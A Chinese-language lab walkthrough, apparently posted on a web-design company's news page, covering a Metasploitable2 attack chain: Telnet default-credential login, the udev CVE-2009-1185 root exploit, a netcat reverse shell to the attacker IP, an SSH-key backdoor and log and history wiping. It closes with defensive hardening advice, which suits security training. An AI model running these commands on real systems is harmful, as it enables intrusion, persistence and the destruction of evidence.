ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

从Telnet弱口令到Root权限:Metasploitable2内网渗透实战全解析

从Telnet弱口令到Root权限:Metasploitable2内网渗透实战全解析 1. 项目概述一次经典的内部网络渗透实战复盘最近在带新人做内网渗透的实战训练Metasploitable2这个“老伙计”依然是绕不开的经典靶场。这次我们聚焦在一个非常基础但极具教学意义的攻击链上通过Telnet服务获取初始立足点并利用一个古老的本地提权漏洞最终拿到靶机的最高权限。整个过程看似简单却完整覆盖了从信息收集、弱口令爆破、获取初始Shell到权限提升的完整渗透流程非常适合用来理解攻击者的基本思路和防御的薄弱环节。无论你是刚入门安全的新手还是想重温基础的老兵跟着我一起把这次实战从头到尾捋一遍相信都能有不少收获。我们最终的目标不仅仅是复现几个命令更是要理解每一个步骤背后的“为什么”以及在实际环境中可能会遇到哪些变数和坑。2. 环境搭建与目标信息收集2.1 靶场与攻击机环境准备工欲善其事必先利其器。我们的实验环境非常简单但需要确保网络互通。靶机Metasploitable2。这是一个故意内置了大量漏洞的Ubuntu Linux虚拟机直接从官网下载OVA文件导入到VMware或VirtualBox中即可。默认的网络配置是NAT模式IP地址通常由你的虚拟网络分配我这里的实验环境里它是192.168.52.144。启动后无需任何登录操作它就是一个等待被测试的服务端。攻击机Kali Linux。这是渗透测试的标准发行版集成了我们需要的所有工具。同样使用NAT网络确保它与Metasploitable2在同一网段。我的Kali IP是192.168.52.134。你可以用ip addr或ifconfig命令来确认双方的IP地址。注意在实际的渗透测试授权中你必须拥有对目标系统的明确书面授权。未经授权的攻击是非法行为。本实验仅在隔离的虚拟环境中进行。2.2 初步扫描与端口发现拿到目标IP后我们不会像无头苍蝇一样乱撞。第一步永远是信息收集而Nmap是这方面的瑞士军刀。我们首先进行一次快速扫描摸清目标开放了哪些端口运行着什么服务。nmap -sS -sV -O 192.168.52.144解释一下这几个参数-sS: 进行TCP SYN半开放扫描。这是最常用、最隐蔽的扫描方式之一它不会完成完整的TCP三次握手因此不易被一些简单的日志记录发现。-sV: 尝试探测端口上运行服务的版本信息。知道服务版本我们才能寻找对应的已知漏洞。-O: 尝试识别目标主机的操作系统。扫描结果会显示一大串开放的端口从21FTP、22SSH、23Telnet到80HTTP、443HTTPS等等。这正是Metasploitable2的特点——门户大开。今天我们的主角是23端口对应的服务就是Telnet。2.3 Telnet服务深度探测发现23端口开放后我们需要更深入地了解这个Telnet服务。这里我们可以使用Metasploit框架MSF中的一个辅助模块它比Nmap的版本探测更专业一些。在Kali终端中启动MSFmsfconsole等待MSF加载完成后我们使用telnet_version模块use auxiliary/scanner/telnet/telnet_version set RHOSTS 192.168.52.144 run这个模块会连接目标的Telnet端口并抓取其返回的Banner信息。Banner里通常包含服务软件的名称和版本号这是漏洞匹配的关键。执行后你可能会看到类似“Ubuntu Telnetd”这样的信息。这一步确认了Telnet服务确实在运行并且等待认证。3. 漏洞利用突破身份认证边界3.1 利用弱口令进行登录Telnet协议本身是明文传输的安全性极差。而Metasploitable2为了教学目的设置了众所周知的弱口令。我们可以手动尝试也可以使用工具进行爆破。MSF同样提供了telnet_login模块。在MSF中use auxiliary/scanner/telnet/telnet_login set RHOSTS 192.168.52.144 set USERNAME msfadmin set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt # 可以尝试常用弱口令字典 # 或者因为我们知道默认凭证直接设置密码 set PASSWORD msfadmin set STOP_ON_SUCCESS true # 一旦成功就停止避免不必要的噪音 run实际上对于这个靶机最直接的方式就是使用经典的默认凭证用户名msfadmin 密码msfadmin。我们甚至可以直接在Kali终端里使用telnet命令连接telnet 192.168.52.144连接后输入用户名msfadmin和密码msfadmin就能成功获得一个交互式的Shell。这时我们拿到了一个初始的低权限用户msfadmin的访问权限。3.2 从Telnet Shell到稳定会话直接通过Telnet获得的Shell虽然能用但功能有限而且一旦连接断开就失去了控制权。为了后续的提权操作更稳定我们最好将其升级为一个功能更强大的、持久的会话。这里有两个常见思路使用MSF生成Payload并反弹这是更通用的方法。我们可以在MSF中生成一个Linux反向Shell的Payload通过Telnet会话上传并执行让靶机主动连接回我们的监听器。利用MSF的会话升级功能由于我们是通过MSF的telnet_login模块登录的成功后该模块可能会自动创建一个会话session。我们可以查看现有会话sessions -l如果看到有来自目标IP的会话通常是一个简单的Command Shell。我们可以尝试将其升级为Meterpreter Shell后者提供了文件管理、键盘记录、权限提升等大量高级功能。sessions -u session_id升级成功后使用sessions -i new_session_id交互即可。实操心得在实际环境中Telnet服务可能没有这么弱的密码或者根本不允许root直接登录。这时就需要进行真正的密码爆破。telnet_login模块支持加载用户名字典和密码字典。关键是要选择合适的字典并且注意爆破速度BRUTEFORCE_SPEED参数不要触发账户锁定机制。此外如果网络环境不稳定直接Telnet得到的Shell容易超时断开优先建立反向Shell或Meterpreter会话是更稳妥的选择。4. 权限提升从普通用户到Root4.1 信息收集与提权向量筛选现在我们以msfadmin用户身份进入了系统。输入id命令可以看到我们的用户ID和所属组输入sudo -l可以查看当前用户被允许以root身份执行哪些命令通常需要密码。在Metasploitable2中msfadmin的sudo权限很有限。接下来是提权前的标准信息收集uname -a # 查看内核版本 cat /etc/issue # 查看系统发行版信息 dpkg -l | grep linux-image # 查看已安装的内核镜像包Debian/Ubuntu rpm -qa | grep kernel # 查看已安装的内核包RHEL/CentOS这些信息用于寻找可能存在的内核漏洞。此外还要检查是否有SUID/SGID的特殊权限文件、是否有配置错误的Cron任务、是否有弱权限的数据库或配置文件等。我们可以使用一些自动化脚本如LinEnum.sh或linuxprivchecker.py来系统性地收集信息。在Metasploitable2中一个著名的提权漏洞是CVE-2009-1185也称为udev提权漏洞。通过uname -a我们可以看到内核版本是2.6.24-16-server这个版本是受该漏洞影响的。4.2 CVE-2009-1185漏洞原理浅析为什么这个漏洞能让我们从普通用户变成root这需要一点背景知识udev是Linux系统中管理/dev目录下设备节点的守护进程。当你在系统里插入一个U盘udev负责创建/dev/sdb1这样的设备节点文件。Netlink是一种用于内核与用户空间进程通信的套接字机制。udev通过Netlink接收来自内核的设备事件消息。漏洞根源受影响的udev版本早于1.4.1在接收Netlink消息时没有严格验证消息的发送来源。它错误地信任所有Netlink消息都来自“可信的内核空间”。攻击者利用这一点可以从一个普通的用户空间进程伪造一个看起来像是来自内核的Netlink消息发送给udev。这个伪造的消息可以指令udev执行一些本应只有root才能操作的动作比如修改关键设备文件的权限。利用这个缺陷攻击者最终能让一个属于root的文件系统例如/根目录变得对当前用户可写。一旦你能修改根目录自然就能篡改任何系统文件如/etc/passwd或/etc/shadow或者直接放置一个Set-UID的root Shell从而获得完整的root权限。4.3 漏洞利用实战步骤理解了原理我们来看如何一步步利用它。假设我们已经通过Telnet获得了msfadmin的Shell。步骤1上传或下载漏洞利用代码Exploit我们需要在靶机上编译并运行一个利用CVE-2009-1185的C语言程序。有多种方式将文件弄到靶机上方法A从攻击机HTTP下载本例采用的方法。在Kali上将Exploit代码通常是一个.c文件放到Web目录如/var/www/html/然后启动Apache服务。# Kali上操作 cp /usr/share/exploitdb/exploits/linux/local/8572.c /var/www/html/exploit.c service apache2 start然后在靶机的Telnet Shell中使用wget下载# 靶机Shell中操作 cd /tmp # 通常/tmp目录有写权限 wget http://192.168.52.134/exploit.c方法B通过TFTP上传。方法C如果靶机有编译器可以直接用cat命令把代码粘贴过去适用于短小的代码。步骤2编译Exploit在靶机上使用GCC编译器将C代码编译成可执行文件。# 靶机Shell中操作 gcc -o exploit exploit.c如果提示gcc命令未找到可能需要安装build-essential包但在Metasploitable2中gcc通常是预装的。步骤3准备PayloadExploit程序执行后会触发udev执行一个我们指定的命令。我们需要提前准备好这个命令脚本。我们的目标是让靶机向我们攻击机的一个监听端口反弹一个具有root权限的Shell。在Kali上用Netcatnc监听一个端口比如4444。# Kali上操作 nc -nvlp 4444在靶机上创建一个脚本文件/tmp/run其内容就是反弹Shell的命令。# 靶机Shell中操作 echo #!/bin/sh /tmp/run echo /bin/nc -e /bin/sh 192.168.52.134 4444 /tmp/run chmod x /tmp/run # 添加执行权限这个脚本的意思是当它被执行时会用/bin/ncNetcat连接到攻击机的4444端口并将其输入输出绑定到/bin/shShell。步骤4查找目标PID并执行ExploitExploit程序需要一个参数udevd netlink socket的进程IDPID。这个PID通常等于udevd守护进程的PID减1。我们可以通过以下命令找到udevd的PID# 靶机Shell中操作 ps aux | grep udevd输出中会有一行类似root 2719 0.0 0.1 2092 620 ? Ss 07:31 0:00 /sbin/udevd --daemon其中2719就是udevd的PID。那么所需的参数就是27182719 - 1。现在执行编译好的Exploit./exploit 2718步骤5接收Root Shell如果一切顺利执行Exploit后你会看到Kali上监听的Netcat会话瞬间被激活并且命令行提示符变成了#root的标识而不是$普通用户。输入id命令确认你会看到uid0(root) gid0(root)。恭喜你已经成功提权注意事项这个漏洞利用的成功率依赖于几个条件1) 靶机内核版本在受影响范围2) 存在/etc/udev/rules.d/95-udev-late.rules或/lib/udev/rules.d/95-udev-late.rules这个规则文件Exploit代码会检查3) 你能在/tmp目录创建文件。在实际环境中条件可能不满足这就需要你根据信息收集的结果灵活选择其他提权方法比如利用其他内核漏洞如Dirty Cow、SUID文件、Cron任务、数据库凭据等。5. 后渗透与痕迹清理5.1 巩固访问与横向移动拿到root权限并不是终点。一个专业的攻击者会考虑如何维持访问权限以及探索内网的其他目标。创建后门账户在/etc/passwd文件中添加一个UID为0root的用户或者修改现有用户的密码哈希。# 不推荐直接修改/etc/passwd容易被发现。更隐蔽的方法是修改/etc/shadow但需要密码哈希。 # 一种简单方法是添加一个SSH密钥到root的authorized_keys文件。 mkdir -p /root/.ssh echo 你的公钥内容 /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys安装Rootkit或Web Shell但这在Metasploitable2这种实验环境中过于复杂且容易被杀毒软件或入侵检测系统IDS发现。横向移动如果这台服务器在内网中你可以用它作为跳板扫描和攻击同一网段的其他机器。可以使用ifconfig查看内网IP用arp -a或netstat -rn查看路由表。5.2 清理入侵痕迹在授权渗透测试中通常不需要清理痕迹因为客户需要知道攻击路径。但在非授权的非法入侵中清理痕迹是犯罪证据的一部分我们仅从防御角度了解攻击者会做什么。清除命令历史Bash的历史记录保存在~/.bash_history当前用户和/root/.bash_history。直接清空或选择性删除相关命令。echo ~/.bash_history history -c # 清除当前会话的历史记录修改文件时间戳Touch将你修改过的系统文件如/etc/passwd,/tmp/run,exploit等的时间戳改回一个看起来正常的时间。touch -t 202301010000 /tmp/exploit # 将时间改为2023年1月1日删除日志相关条目攻击行为可能会被记录在/var/log/auth.log登录日志、/var/log/syslog系统日志、/var/log/secure安全日志RHEL系等文件中。攻击者可能会使用sed或vi编辑这些日志文件删除包含自己IP地址或用户名的行。但更高级的安全设备会有日志外发本地删除是无效的。删除上传的工具删除/tmp目录下的exploit.c,exploit,/tmp/run等文件。rm -f /tmp/exploit.c /tmp/exploit /tmp/run重要提醒在真实的渗透测试中清理痕迹必须非常谨慎并且要在授权协议允许的范围内进行。不当的清理可能会破坏系统正常运行或影响客户对攻击影响的评估。最好的做法是在测试前与客户明确约定并在测试后提供详细的攻击路径报告而不是盲目清理。6. 防御视角下的反思与加固建议作为防守方从这次简单的攻击中我们能学到什么禁用或替换不安全的协议Telnet是明文传输协议在任何生产环境中都应被彻底禁用。使用SSH作为替代并强制使用密钥认证禁用密码登录。强密码策略与账户管理杜绝使用默认密码和弱口令。启用账户锁定策略防止暴力破解。定期审查系统账户删除不必要的默认账户如msfadmin。最小权限原则确保所有服务和应用程序都以所需的最小权限运行。不要用root身份运行非核心服务。及时更新与补丁管理CVE-2009-1185是一个2009年的漏洞早已有补丁。建立严格的系统与软件更新流程及时修复已知漏洞。对于无法升级的老旧系统应评估风险并将其隔离在严格的内网环境中。入侵检测与日志监控部署HIDS主机入侵检测系统或监控关键文件如/etc/passwd,/root/.ssh/authorized_keys的变更。集中收集和分析系统日志对异常登录、特权命令执行等行为设置告警。网络分段与访问控制使用防火墙严格限制入站和出站连接。例如数据库服务器只允许应用服务器访问管理端口如SSH只允许来自特定管理IP的访问。定期安全评估主动进行漏洞扫描和渗透测试模拟攻击者的行为在真正的攻击发生前发现并修复安全问题。这次从Telnet弱口令到udev本地提权的完整链条清晰地展示了一个外部威胁如何逐步转化为内部最高权限危机的过程。每一个环节的失守都为攻击者打开了下一扇门。防守的本质就在于在这些环节上层层设防增加攻击者的成本和被发现的风险。对于安全从业者而言亲手走一遍攻击流程是理解防御重点最有效的方式之一。
返回列表